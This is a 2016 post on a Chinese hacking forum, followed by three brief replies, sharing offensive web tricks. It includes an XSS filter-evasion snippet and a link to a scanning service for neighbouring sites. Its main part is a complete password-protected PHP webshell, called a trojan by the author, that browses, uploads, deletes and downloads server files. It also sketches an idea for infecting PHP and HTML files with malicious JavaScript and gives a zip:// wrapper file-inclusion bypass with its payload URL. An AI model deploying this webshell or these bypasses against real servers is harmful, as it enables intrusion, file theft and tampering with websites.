查看: 11021|回复: 3

【投稿】分享一些奇技淫巧,一些笔记

[复制链接]
发表于 2016-12-13 19:30:34 | 显示全部楼层 |阅读模式
本帖最后由 SVK 于 2016-12-13 19:41 编辑

一、思路分享
先分享一个XSS构造思路。
首先我们知道php终极防XSS的办法就是htmlspecialchars();
但是有时候为了页面的丰富,很多社交网站不用使用类似这样函数。
所以动动脑子还是可以过防xss的正则。
这里提供一个思路:
[JavaScript] 纯文本查看 复制代码
<script>
var a = "htt";
var b = "p";
var u = "w";
var c = "baidu";
var b = "c";
var i = "o";
var p= "m";
var d = ".";
window.location.href=a+b+'://'+u+u+u+d+c+d+b+i+p;
</script>

可以说现在不少地网站还存在这个漏洞,大家发现了不要乱搞。
------------------
二、小技巧
所谓主站搞不下,搞旁站,旁站搞不下,扫c段,这里分享一个很好用的扫c段/旁站的网站,妈妈再也不用担心我的ip被ban了。
https://phpinfo.me/bing.php
------------------
三、分享一个自己写的简易webshell
[PHP] 纯文本查看 复制代码
<?php 
header("content-type:text/html;charset=utf-8");
?>
  //js
<script>
        function jump(obj){
          console.log(obj);
          console.log(obj.getAttribute('value'));
          console.log(obj.innerHTML);
      document.getElementById("dirname").value=obj.getAttribute('value');
      document.getElementById("bt").value="点击我进行跳转";
    }
        function jump2(obj){
      document.getElementById("dirname").value=obj.innerHTML;
      document.getElementById("bt").value="点击我进行跳转";
    }    
    function del(){
            <?php
            if(is_file('00100.php'))
             unlink('00100.php');
            ?> 
    }
</script>

<!-- 部署界面 -->
  <body onbeforeunload=del() style='background-color:black; text-align:center'>
  <div id='pw' style='margin:150px auto 0px; width:400px; height:100px; border:1px solid #F00; color:white; padding-top:20px '>
  FarmSec WebShell<br>
  请输入密码
  <form action="" method="post">
  <input type="password" name="password">
    <input type="submit" id="button" value="登录">
  </form>
  </div>
<?php
//设置密码
$password="222";


if(@$_POST['password']==$password){
echo '<div style="width:1000px; margin:20px auto; border:1px solid #F00">';

//标题
echo '<div style="width:900px; margin:0 auto; color:white">';
echo '<h1 style="margin-bottom:0px">WebShell文件管理</h1>';
echo '农夫安全漏洞证明<br>';
echo "</div>";

  //定义当前目录;
  if(!isset($_POST['dirname'])){
          $dirname=dirname(__FILE__);//getcwd();
  }else{
          $dirname=$_POST['dirname'];
          //$dirname=preg_replace('/\\\\/', '/', $dirname);
          //输出,win下默认编码gb2312,转成utf-8
          //$dirname=iconv("gb2312", "utf-8", $dirname);        
  };

  //储存木马所在目录名
  @$ini=dirname(__FILE__);
  $ini=preg_replace('/\\\\/', '/', $ini);
  $ini=iconv("gb2312", "utf-8", $ini);

  //遍历的主体程序
  //隐藏验证密码界面
  ?>
  <script>document.getElementById("pw").style.display="none"</script>

  <!-- 部署界面 之 文件访问 -->
  <div style="width:900px; margin:0 auto; color:white">
  <form action="" method="post">
    当前目录:<p1 id="dirname2"><?php echo $dirname; ?></p1><br>
    输入目标文件目录<input type="text" id="dirname" name="dirname">
    <input type="hidden" name="password" value=<?php echo $password ?>>
    <input type="hidden" name="ini" value=<?php echo $ini ?>>
    <input type="hidden" name="back2" value=<?php echo dirname($dirname); ?>>

    <input type="submit" id="bt" value="进入">
    <input type="button" id="" value="刷新">
    <br><br>
    <input type="button" id="" value="返回木马所在目录">
         
    <input type="button" id="" value="上一层">
    <br><br>
    </form>


    <form action="" method="post" enctype="multipart/form-data">
    <input type="hidden" name="password" value=<?php echo $password ?>>
    <input type="hidden" name="dirname" value=<?php echo $dirname ?>>
        <input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
        文件上传:<input type="file" name="file"/>
        <input type="submit" value="走你"/>
  </form>
  </div>

<?php  
  //服务器文件输出区php代码
  echo "<div style='color:white; width:1000px; padding-bottom:10px'>";

    //删除文件
          if(isset($_POST['delfile'])){
            if(is_file($_POST['delfile']))
            @$delfile=$_POST['delfile'];
        if(is_file(@$delfile)){
              unlink($delfile);
        }else{
                    echo '<script>alert("只能删除单个文件")</script>';
        }
          }

    //文件上传脚本
        @move_uploaded_file($_FILES["file"]["tmp_name"],$_POST['dirname'].'/'. $_FILES["file"]["name"]);

    //写新脚本,以便下载
          $op=fopen("00100.php","w+");
          fwrite($op, '<?php
                  $dirfile=$_GET["dirfile"];
                header("Content-Disposition: attachment; filename=".$dirfile);
                header("Content-length: ".filesize($dirfile));

                readfile($dirfile);
                  ?>');
          fclose($op);

  //文件管理主体-------------------------------
  $dirname=iconv("utf-8", "gb2312", $dirname);
  echo $dirname;
  if(!@$dir_handle=opendir($dirname))
    echo '目录下啥也木有 ORZ';
  
  while(@$file=readdir($dir_handle)){
          //遍历目录
    if($file<>'.' && $file<>'..'){
            echo '<div id="" style="border:1px solid #42E61A; width:300px; float:left; margin:15px">';
                $dirfile=$dirname.'/'.$file;
                $dirfile=preg_replace('/\\\\/', '/', $dirfile);

                //输出,win下默认编码gb2312,转成utf-8
                $dirfile=iconv("gb2312", "utf-8", $dirfile);
                $file=iconv("gb2312", "utf-8", $file);
                echo $file."<br>";
                echo '<span id="" name="" value='.$dirfile.' style="color:red;">进入</span>';
        ;?>

                <form action="" method="post" style="margin-bottom:0 ">
                    <input type="hidden" name="password" value=<?php echo $password ?>>
                    <input type="hidden" name="dirname" value=<?php echo $dirname ?>>
                    <input type="hidden" name="delfile" value=<?php echo $dirfile ?>>
                    <input type="submit" name="" value="删除" style="background-color:black; color:white; border: 0 ">
                </form>

                <?php
                echo '<a href="00100.php?dirfile='.$dirfile.'" target="_blank">下载</a>';
                echo '</div>';
                };
            
};
  echo "<div style='clear:both'></div>";
  echo "</div>";
  
echo "</div>";
echo "</body>";
}elseif(isset($_POST['password'])){
        echo"<script>alert('密码错误')</script>";
}
 ?>

注释没少写,可读性不算差吧,因为php还没完全入门,希望各位大大表喷我菜。
------------------
四、一个学习php时突发奇想。
用fopen,参数用a+,然后递归可以感染一堆php html文件,加入恶意js,算是php写另类木马吧,当然前提得可以传马。
------------------
五、上传突破的一个姿势
上次做ctf学到的,特此分享。
现在00截断已经众人所知,存在也少之又少了,一些cms限制包涵的后缀必须为.php时,代码例如:
[PHP] 纯文本查看 复制代码
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
        {    
                require( $include_file );
        }

对传递过来的截取了后面4个字符 判断是不是.php 如果是.php才进行包含。
这里就利用世界上最好的语言的伪协议(zip)
1、首先新建一个1.php 里面随便写个phpinfo把
2、然后压缩成.zip 然后把zip的名字改成 honker.jpg
3、然后把这个.jpg上传上去 然后包含
例如:include_file=zip://d:/xx/xxx/honker.jpg%231.php
%23是url编码后的#。
这样就可以成功包含了。
-------------------
以上分享仅供学习,本人不承担任何法律责任。
-----------------------
后记:
上一次申请加入太极基础组被拒绝以来,已经一个月多了。
我没有灰心,而是静下心来好好学习,就是希望能获得wuyan大表哥的肯定,希望可以加入太极基础组。
这段时间以来,很多事情都变了,可我对web安全的热情一分未减。
今天把学习时间抽出来写这个帖子,写的有点仓促,还望见谅
希望大家多多顶贴,我也不隐藏了。
最后祝ihonker越办越好,哈哈。加油!

回复

使用道具 举报

发表于 2016-12-14 09:37:32 | 显示全部楼层
顶起!!!雄起!!!
回复

使用道具 举报

发表于 2016-12-14 15:53:58 | 显示全部楼层
厉害!支持!!
回复

使用道具 举报

发表于 2016-12-26 22:43:12 | 显示全部楼层

RE: 【投稿】分享一些奇技淫巧,一些笔记

我若成佛天下无魔,我若成魔佛奈我何,求一经验
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-2 02:58 , Processed in 0.209982 second(s), 18 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部